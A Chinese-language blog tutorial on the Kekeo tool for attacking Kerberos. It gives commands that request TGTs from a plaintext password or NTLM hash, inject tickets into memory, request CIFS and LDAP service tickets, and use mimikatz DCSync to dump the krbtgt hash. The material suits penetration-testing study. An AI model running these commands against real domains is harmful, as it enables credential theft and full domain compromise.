Kekeo使用

Kekeo简介
Kekeo是mimikatz作者Benjamin使用C语言编写的安全工具,
主要是针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,
并将请求票据导入内存中,从而模拟Kerberos协议的各个阶段。
Kekeo重点模块介绍
base64:用于input/output对于base64的支持。
tgt:TGT模块
tgs:TGS模块
exploit:攻击模块
misc:杂项模块
kerberos:Kerberos包模块
smb:小型SMB协议
ntlm:NTLM模块
tssp:TSSSP模块
申请TGT
Kekeo的tgt模块可以申请TGT,可以使用明文或者密码哈希进行认证,
可以将票据导出为文件,也可以将票据注入到当前内存中,将TGT导入内存后,
想请求什么服务,系统就回自动利用该TGT请求指定服务的ST。
例子:
dir请求的CIFS服务
DCSYnc请求的是LDAP服务
1.明文密码请求
	自动导入票据
	(1)Kekeo明文密码自动导入票据
		tgt::ask /user:administrator /domain:test.com /password:P@123456 /ptt

在这里插入图片描述

(2)Kekeo明文导出票据
tgt::ask /user:administrator /domain:test.com /password:P@123456

在这里插入图片描述

	mimiktaz导入票据:
		mimikatz.exe "kerberos:ptt TGT.kirbi" "exit"
2.密码hash请求
	密码哈希申请TGT并导入内存中:
	tgt:ask /user:administrator /domain:test.com /ntlm:xxxxx /ptt

在这里插入图片描述

	密码哈希生成TGT保存到kirbi文件:
	tgt::ask /user:administrator /domain:test.com /ntlm:XXXXX	

在这里插入图片描述

申请ST
tgs模块用于申请ST,因此需要提供一张TGT,需要先使用Kekeo请求一张TGT,
然后在使用tgs模块使用该TGT请求指定服务的ST,可以将ST导入到内存中,
也可以将ST保存为凭据文件。
一.申请ST并直接注入到内存中步骤
1.使用明文密码或者hash申请TGT
	tgt::ask /user:administrator /domain:test.com /ntlm:XXXXX	
2.用上一步骤的TGT申请ST,这里请求CIFS票据可以用于dir操作,
如果需要进行Dcsync操作吸引申请LDAP服务。
	tgs::ask /tgt:TGT票据 /service:cifs/AD.test.com /ptt		//cifs服务
	tgs::ask /tgt:TGT票据 /service:ldap/AD.test.com /ptt		//ldap服务可以用于Dcsync
	mimikatz.exe "lsadump::dcsync /domain:test.com /user:krbtgt /csv "exit" 
	上述mimikatz进行Dcsync导出krbtgt hash需要注入到内存ldap服务TGS,

在这里插入图片描述

二.申请ST并保存为凭据
	gs::ask /tgt:TGT票据 /service:cifs/AD.test.com		//cifs服务
	tgs::ask /tgt:TGT票据 /service:ldap/AD.test.com 	//ldap服务可以用于Dcsync

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚构之人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值